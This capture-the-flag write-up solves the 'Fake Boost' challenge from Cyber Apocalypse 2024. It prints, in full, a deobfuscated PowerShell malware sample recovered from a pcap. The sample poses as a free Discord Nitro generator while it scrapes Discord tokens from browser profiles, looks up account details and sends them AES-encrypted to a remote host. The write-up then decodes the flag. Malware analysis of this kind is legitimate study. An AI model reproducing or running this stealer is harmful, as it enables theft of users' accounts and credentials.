Cyber Apocalypse 2024
Fake Boost
Solved by : Starry-lord
For this one again we get a pcap file, which contains HTTP objects we can look into:
Extracting freediscordnitro, we can see the content is obfuscated like we expect a malware would be.
working on the content of the file, we can now reverse this long string above, and then decode it to read the first part of the flag
$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"
function Steal {
param (
[string]$path
)
$tokens = @()
try {
Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {
try {
$fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop
foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
$tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
$_.Matches.Value
}
}
} catch {}
}
} catch {}
return $tokens
}
function GenerateDiscordNitroCodes {
param (
[int]$numberOfCodes = 10,
[int]$codeLength = 16
)
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
$codes = @()
for ($i = 0; $i -lt $numberOfCodes; $i++) {
$code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
$codes += $code
}
return $codes
}
function Get-DiscordUserInfo {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)]
[string]$Token
)
process {
try {
$Headers = @{
"Authorization" = $Token
"Content-Type" = "application/json"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
}
$Uri = "https://discord.com/api/v9/users/@me"
$Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
return $Response
}
catch {}
}
}
function Create-AesManagedObject($key, $IV, $mode) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Encrypt-String($key, $plaintext) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
[System.Convert]::ToBase64String($fullData)
}
Write-Host "
______ ______ _ _ _ _ _ _ _____ _____ _____ ___
| ___| | _ (_) | | | \ | (_) | / __ \| _ |/ __ \ / |
| |_ _ __ ___ ___ | | | |_ ___ ___ ___ _ __ __| | | \| |_| |_ _ __ ___ `' / /'| |/' |`' / /'/ /| |
| _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \ / / | /| | / / / /_| |
| | | | | __/ __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\ | | |_| | | (_) | ./ /___\ |_/ /./ /__\___ |
\_| |_| \___|\___| |___/ |_|___/\___\___/|_| \__,_| \_| \_/_|\__|_| \___/ \_____/ \___/ \_____/ |_/
"
Write-Host "Generating Discord nitro keys! Please be patient..."
$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
$paths = @{
'Google Chrome' = "$local\Google\Chrome\User Data\Default"
'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
'Opera' = "$roaming\Opera Software\Opera Stable"
'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}
$headers = @{
'Content-Type' = 'application/json'
'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}
$allTokens = @()
foreach ($platform in $paths.Keys) {
$currentPath = $paths[$platform]
if (-not (Test-Path $currentPath -PathType Container)) {continue}
$tokens = Steal -path $currentPath
$allTokens += $tokens
}
$userInfos = @()
foreach ($token in $allTokens) {
$userInfo = Get-DiscordUserInfo -Token $token
if ($userInfo) {
$userDetails = [PSCustomObject]@{
ID = $userInfo.id
Email = $userInfo.email
GlobalName = $userInfo.global_name
Token = $token
}
$userInfos += $userDetails
}
}
$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload
try {
$headers = @{
'Content-Type' = 'text/plain'
'User-Agent' = 'Mozilla/5.0'
}
Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}
Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }
We can see this is using AES encryption on the files while making the user think its generating free discord nitro keys, as well as a part1 of the flag. It decrypted the content of the other file with using the same value for IV and for the AES key.
HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}